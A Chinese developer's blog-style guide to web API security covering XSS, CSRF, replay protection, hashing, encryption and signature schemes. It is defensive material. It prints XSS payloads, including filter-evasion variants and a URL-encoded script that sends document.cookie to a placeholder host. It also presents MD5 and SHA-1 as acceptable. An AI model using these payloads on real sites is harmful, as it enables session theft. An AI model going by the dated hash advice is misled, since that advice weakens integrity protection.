本人作为一名Java开发者,在工作中时常遇到需要从其它系统拉取数据,那么就需要跟其它系统的同学沟通为我们开放接口,对方会发送一些AppId和AppKey之类的数据,在我们请求接口的时候,需要把这些值和参数等信息一起生成摘要发送过去;最近项目又因其它原因,需要开放外网,于是安全部对系统一顿扫描,提出各类安全要求,本人也将近期的收获分享给大家

1. XSS防御

1)XSS原理

XSS是最常见的功能类型,其原理就是在WEB页面中嵌入恶意脚本程序,当用户在打开页面的时候,恶意的脚本程序就会在客户端的浏览器中执行; 例如:在输入框中输入以下代码

<script>alert("hello");</script>

还可以将URL进行URLEncode进行编码

比如:将<,>,/进行转换为  	%3cscript%3ealert(%22aaa%22)%3b%3c%2fscript%3e

除了以上的方式之外,还可能转换大小写,来躲避过滤器

比如:<ScrIPt>xxx</sCRipT>

2)XSS分类

反射型XSS: 通常可利构造一个包含恶意代码的url欺骗受害者访问,当受害者打开这个链接时浏览器就会执行这段恶意代码。 例如某站点存在反射型XSS,构造含有恶意代码url并通过QQ,邮件或者论坛的形式发出来,所有点击该链接的用户都会在他们的浏览器执行这段恶意代码。将恶意代码进行一个简单的url编码或者base64编码,受害者看到的链接就会变的很长,这样受害者很可能没有看出参数中包含着恶意代码,就相信这是个安全链接,从而受到XSS。

存储型XSS: 例如 某微博网站存在存储型XSS,GJ者写下含有恶意代码的文章,当用户在浏览他的文章时,就会在用户的浏览器端执行这段代码;恶意代码存储在服务器,所以是存储型XSS

漏洞危害: 1.操作受害者的Cookie http://www.xxx.com/xxs?name=test%3cscript%3edocument.location%3d%22http%3a%2f%2fwww.your.com%2fgetcookie%3fcookie%3d%22%2bdocument.cookie%3c%2fscript%3e

2.构造网络请求 在参数中直接写一段恶意代码就可以用ajax直接发起HTTP Request请求

3.钓鱼网站 钓鱼的方式有很多,例如在参数中构造一个页面跳转的恶意代码,受害者可能没有意识到自己已经被跳转到了一个仿造当前站点的假页面上。

  1. 盗取受害者一些信息 就像盗取cookie一样,通过写入一些恶意代码就可以收集受害者的一些信息。

3)XSS防御

常见的防范方式: 1.输入的参数转义 对用户输入的参数进行过滤和编码:包括用户输入,url参数、post参数

org.springframework.web.util.HtmlUtils.htmlEscape(evilCode);  //spring-web 库中自带的函数
org.apache.commons.lang3.StringEscapeUtils.escapeHtml4(evilCode);  //需要依赖apache commons-lang类库
此函数主要对以下字符转义:  
" -> &quot;
& -> &amp;
< -> &lt;
> -> &gt;
' -> &#39;
注:可以通过重写HttpServletRequestWrapper的getParameter、getParameterValues方法,进行编码处理。

img标签,在加载图片失败的时候,会调用该元素上的onerror事件;

2. 输出检查 输出时也要对数据进行检查处理,对输出内容做实体编码处理。

3. HttpOnly XSS 一般利用js脚本读取用户浏览器中的Cookie,而如果在服务器端对 Cookie 设置了HttpOnly 属性,那么js脚本就不能读取到cookie,但是浏览器还是能够正常使用cookie 一旦这个HttpOnly被设置,你在浏览器的 document对象中就看不到Cookie了,而浏览器在浏览的时候不受任何影响

cookie.setHttpOnly(true);

2. CSRF防御

1)CSRF原理

首先来看一个示例:

1).当用户登录正常的服务器A时,服务器会返回用户登录成功的cookie
2).此时,用户去访问服务B,服务B是HK准备好的一个服务A的一个网址
3).服务B返回的服务A的链接响应到用户浏览器时,用户浏览器会使用正确的cookie去请求服务A
注:因为cookie不支持跨域访问,所以请求还是在用户浏览器发出的
常见的伪造方式有get和post两种方式

2)CSRF防御

1 验证Referer字段 最简单的方式就是过滤请求头中的Referer

Referer标识当前请求的来源页面,浏览器访问时除了自动带上Cookie还会自动带上Referer,所以服务端可以检测Referer头是否本网站页面来决定是否响应请求。 但该方式会存在缺陷,一是因为浏览器是可以设置禁止发送Referer头的,如果使用该方式那么禁止Referer头的浏览将无法正常使用,这可能会降低用户使用体验。二是因为由于移动端的崛起当下流行前后端分离app和web共用一套后端代码,但app是不会自动带Referer头的,如果使用该方式app端不好处理。

2 token方式 token方式就是通过在服务端生成一个随机数返回给客户端,CSRF依赖于浏览器该问链接时自动加载对应网站的cookie,token不放在cookie中,放在请求头或者请求参数中带回到服务器,而在前端通常使用了个隐藏标签保存token值。 每次请求都会生成一个新的token,也就是说一个token只能请求一次后端,多次则失效。这样做为了更加的安全,但也有些不拖,每次请求后端都需要生成token,后端需要保存大量的token值。 我们也可以在用户登录后到退出前,一个用户使用一个token,只要保证这个token 不会泄漏,就可以保证安全。 token值除了随机生成之外,还可以利用sessionid作为token;

3. 防止接口重放

1)接口重放

什么是接口重放呢?接口重放就是抓取用户的请求URL,然后重复的执行这条URL,例如这条URL是一个扣减金币的操作,那么HK重复的执行这条URL,会就导致用户的金币扣减。

2)接口重放防御

常用的防御机制是 时间戳+随机值 的方式 客户端每次请求到后端时会在前端生成一个timestamp和一个UUID,后端接收到请求之后,校验这个timestamp的值是否过期(假如我们定义30秒后过期),如果过期,则丢弃本次请求,如果没有过期,那么再验证UUID在redis中是否存在,如果不存在,则存入,存在,则表明这个请求的UUID已经被使用过了,也丢弃本次请求。

4. 数字签名

上节介绍了接口重放的防御策略,那么对于上面的方法也有不拖之处,比如redis中需要记录大量的UUID。那么有没有更好的办法呢?

假如我们的请求还没有到达后端之前就已经被HK拦截之后,对参数进行篡改,然后再发送请求到后端,那么面对这种问题上面的解决方案是不是都不好使?

这就需要使用到摘要和数字签名了。

1)数字摘要

数字摘要也称为消息摘要,它是一个唯一对应一个消息或文本的固定长度的值,它由一个单向Hash函数对消息进行计算而产生。后端服务接收到摘要信息之后,采用相同的Hash重新对参数进行计算Hash值,然后拿客户端传的Hash值和后端服务生成的Hash值进行对比,如果一样,则认为消息没有被篡改。

1. MD5 MD5是数字摘要算法的一种实现,用于确保信息传输完整性和一致性,摘要长度为128位。

2. SHA 常用的是SHA-1算法,该算法生成的摘要信息的长度为160位,由于生成的摘要信息更长,运算的过程更加复杂,在相同的硬件上,SHA-1的运行速度比MD5更慢,但是也更为安全。

3. Base64编码 Base64是一种基于64个可打印字符来表示二进制数据的方法,由于2的6次方等于64,所以每6位为一个单元,对应某个可打印字符,三个字节有24位,对应于4个Base64单元,即3个字节需要用4个可打印字符来表示。 Base64并不是一种加密算法,它只是一种编码方式。

4. 彩虹表破解Hash算法 简单地说,彩虹表就是一张采用各种Hash算法生成的明文和密文的对照表,在彩虹表中,表内的每一条记录都是一串明文对应一种Hash算法生成的一串密文。通过Hash值去彩虹表中进行查找出明文。

2)对称加密

对称加密也就是 加密和解密都使用同一个密钥,发送和接收双方都使用这个密钥对数据进行加密和解密,这就要求加密和解密方事先都知道加密的密钥。

常见的对称加密算法有DES算法和AES算法

3)非对称加密

非对称加密它需要两个密钥,一个称为公开密钥即公钥;另一个称为私有密钥,即私钥;公钥与私钥需要配对使用,如果用公钥加密数据,只有用对应的私钥才能进行解密,而如果使用私钥对数据进行加密,那么只有用对应的公钥才能进行解密。

常用的非对称加密算法有RSA算法

4)摘要认证的实现

摘要认证的流程: 1. 客户端生成摘要

  1. 将请求的参数按照一定约定进行排序,这种排序方式服务器也必须知道,因为它也需要通过相同的方式排序参数。
  2. 将请求参数串起来之后,加上secret(密钥)
  3. 使用摘要算法,生成摘要串,请求的时候,将此参数放在请求头中带到服务器。

2. 服务端校验摘要

  1. 服务端主要是请接收到的参数按客户端的排序方式对参数进行排序
  2. 服务器端也保存了secret参数,取出来之后和请求参数一起拼接起来
  3. 生成摘要与客户端的摘要串进行比较。如果相同,则该请求合法。

3. 服务端生成响应摘要

  1. 服务端响应的数据如果有必要也可以对其进行摘要认证。
  2. 服务端将摘要放在响应头中返回给客户端。

4. 客户端校验响应摘要

  1. 客户端接收到响应内容后,也对其生成摘要
  2. 比较服务端与客户端生成的摘要内容是否一致,一致则认为没有被篡改

5)签名认证的实现

签名认证的原理与摘要认证的原理几乎一样,不同之外在于,签名认证使用的是非对称加密算法,它相比于摘要认证的好处就是,摘要认证客户端和服务端使用的是相同的secret,如果其中一方泄漏,那么就达不到安全的标准了。而签名认证使用的是非对称加密,通过公钥加密私钥解密或者是私钥加密公钥解密。 1. 客户端生成签名 它与摘要认证的不同之处在于生成摘要之后,需要加密。

2. 服务端校验签名 通过公钥解决后,比较摘要串,这都和摘要认证的流程很相似。

6)总结

签名认证就是对非对称加密技术与数字摘要技术的综合运用,指的是将通信内容的摘要信息使用发送者的私钥进行加密,然后将密文与原文一起传输给信息的接收者,接收者通过发送者的公钥解密被加密的摘要信息,然后使用与发送者相同的摘要算法,对接收到的内容采用相同的方式产生摘要信息,比较两处的摘要信息,如果相同,则说明内容完整的,否则认为信息是被第三方篡改过的。

常见的数字签名算法包括: 1. MD5withRSA 表示采用MD5算法生成需要发送正文的数字摘要,并使用RSA算法来对正文进行加密和解密。

2. SHA1withRSA 表示采用SHA-1算法生成需要发送正文的数字摘要,并使用RSA算法来对正文进行加密和解密。